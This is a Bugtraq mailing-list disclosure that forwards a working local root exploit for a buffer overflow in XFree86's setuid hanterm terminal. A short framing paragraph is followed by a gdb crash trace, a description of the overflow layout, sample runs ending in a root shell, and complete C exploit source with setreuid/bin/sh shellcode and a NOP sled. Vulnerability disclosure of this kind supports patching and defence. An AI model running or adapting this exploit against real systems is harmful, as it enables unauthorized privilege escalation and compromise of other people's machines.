xperc/Bugtraq readers, As a follow up to xperc's hanterm exploit, here's another one that was reported last month by "you dong-hun" <szoahc@hotmail.com>, with the exploit by Xpl017Elz. I don't think it made it to Bugtraq. There was a FreeBSD fix announced back in July 2002 (FreeBSD-SA-01:41), but I haven't seen any other vendor fixes. Stuart from: http://www.securitytracker.com/alerts/2002/Jan/1003243.html note: some lines may have wrapped and such ----------------------------------------- /* ** ** How to exploit? ** ** [x82@xpl017elz x82]$ cp /usr/X11R6/bin/hanterm . ** [x82@xpl017elz x82]$ gdb -q hanterm ** (no debugging symbols found)...(gdb) r -display 61.xx.177.27:0 -fn `perl -e ** 'print "x"x80'` ** ** Starting program: /home/noname/hanterm -display 61.xx.177.27:0 -fn `perl -e ** 'print "x"x80'` ** (no debugging symbols found)...(no debugging symbols found)... ** (no debugging symbols found)...(no debugging symbols found)... ** (no debugging symbols found)...(no debugging symbols found)... ** (no debugging symbols found)... ** Program received signal SIGSEGV, Segmentation fault. ** 0x80520e6 in strcpy () at ../sysdeps/generic/strcpy.c:30 ** 30 ../sysdeps/generic/strcpy.c: 그런 파일이나 디렉토리가 없음. ** (gdb) info reg $esp ** esp 0xbfffe6b8 -1073748296 ** (gdb) x/80 0xbffffb00 ** 0xbffffb00: 0x65746e61 0x2d006d72 0x70736964 0x0079616c ** 0xbffffb10: 0x332e3136 0x37312e37 0x37322e37 0x2d00303a ** 0xbffffb20: 0x78006e66 0x78787878 0x78787878 0x78787878 ** 0xbffffb30: 0x78787878 0x78787878 0x78787878 0x78787878 ** 0xbffffb40: 0x78787878 0x78787878 0x78787878 0x78787878 ** 0xbffffb50: 0x78787878 0x78787878 0x78787878 0x78787878 ** 0xbffffb60: 0x78787878 0x78787878 0x78787878 0x78787878 ** 0xbffffb70: 0x00787878 0x5353454c 0x4e45504f 0x656c7c3d ** ... ... ... ... ... ** 0xbffffc10: 0x2d2a2d36 0x3563736b 0x2e313036 0x37383931 ** 0xbffffc20: 0x2d2c302d 0x6f6b2d2a 0x2d676964 0x6964656d ** 0xbffffc30: 0x722d6d75 0x726f6e2d 0x2d6c616d 0x2d38312d ** (gdb) ** ** Buffer Structure ** ** [ data addr: 80byte ] + [ ebp addr: 4byte ] + [ ret addr: 4byte ] = 88byte ** ** The return until the address the whole it contains and, ** it puts in an option. ** ** [x82@xpl017elz x82]$ ./exploit ** ** XFree86 Version 3.x.x ~ 4.x.x /usr/X11R6/bin/hanterm exploit ** Default: [ data addr ] + [ ebp addr ] + [ ret addr ] = 88byte ** ** Exploit made by Xpl017Elz ** ** Display HOST_IP: 255.255.255.255:0 ** Jumping Address: 0xbffffb74 ** ** Segmentation fault ** [x82@xpl017elz x82]$ ** ** It calculates the offset. ** Namely, when 0xbffffb20 from 0xbffffb70 until it catches in between, ** it will be suitable. ** ** [x82@xpl017elz x82]$ ./exploit -a 61.xx.177.27:0 -o 2370 -b 88 ** ** XFree86 Version 3.x.x ~ 4.x.x /usr/X11R6/bin/hanterm exploit ** Default: [ data addr ] + [ ebp addr ] + [ ret addr ] = 88byte ** ** Exploit made by Xpl017Elz ** ** Display HOST_IP: 61.xx.177.27:0 ** Jumping Address: 0xbffffb26 ** ** bash# ** ** Ooops! it's rootshell :-) ** */ #include <stdio.h> #include <stdlib.h> #define NOP 0x90 #define DFOFS 2400 #define DFIP "255.255.255.255:0" #define DFBUF 88 /* ** [ data addr: 80byte ] + [ ebp addr: 4byte ] + [ ret addr: 4byte ] = 88byte */ char shellcode[] = /* 53byte shellcode */ "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0); */ "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46" "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e" "\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd" "\x80\xe8\xde\xff\xff\xff/bin/sh"; unsigned long sp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { int rufp, fpru, jobst, ferbuf, num=DFBUF, ofs=DFOFS; long addr; char buffer[2000], hoip[] = DFIP; extern char *optarg; banrl(); while ((jobst = getopt(argc, argv, "a:o:b:")) !=EOF) switch (jobst) { case 'a': strcpy(hoip, optarg); break; case 'o': ofs = atoi(optarg); break; case 'b': num = atoi(optarg); break; case '?': usages(argv[0]); exit(0); } printf(" Display HOST_IP: %s\n",hoip); addr = sp() +ofs; // -ofs; printf(" Jumping Address: %p\n\n",addr); ferbuf = num - sizeof(shellcode) -4; bzero(&buffer,2000); for(rufp=0; rufp<=ferbuf; rufp++) { buffer[rufp] = NOP; } for(fpru=0; fpru<=52; fpru++) { buffer[rufp++] = shellcode[fpru]; } buffer[rufp++] = addr & 0xff; buffer[rufp++] = addr>> 8 & 0xff; buffer[rufp++] = addr>>16 & 0xff; buffer[rufp++] = addr>>24 & 0xff; execl("/usr/X11R6/bin/hanterm", "hanterm", "-display", hoip, "-fn", buffer, NULL); exit(0); } usages(char *var) { printf("\n Usage:\n %s -a [host_ip:0] -o [offset] -b [buffer size] (data addr~ return addr)\n",var); printf(" Default: %s -a 61.xx.177.27:0 -o 2400 -b 88\n\n",var); } banrl() { printf("\n XFree86 Version 3.x.x ~ 4.x.x /usr/X11R6/bin/hanterm exploit\n"); printf(" Default: [ data addr ] + [ ebp addr ] + [ ret addr ] = 88byte\n\n"); printf("\t\t\t Exploit made by Xpl017Elz\n\n"); }
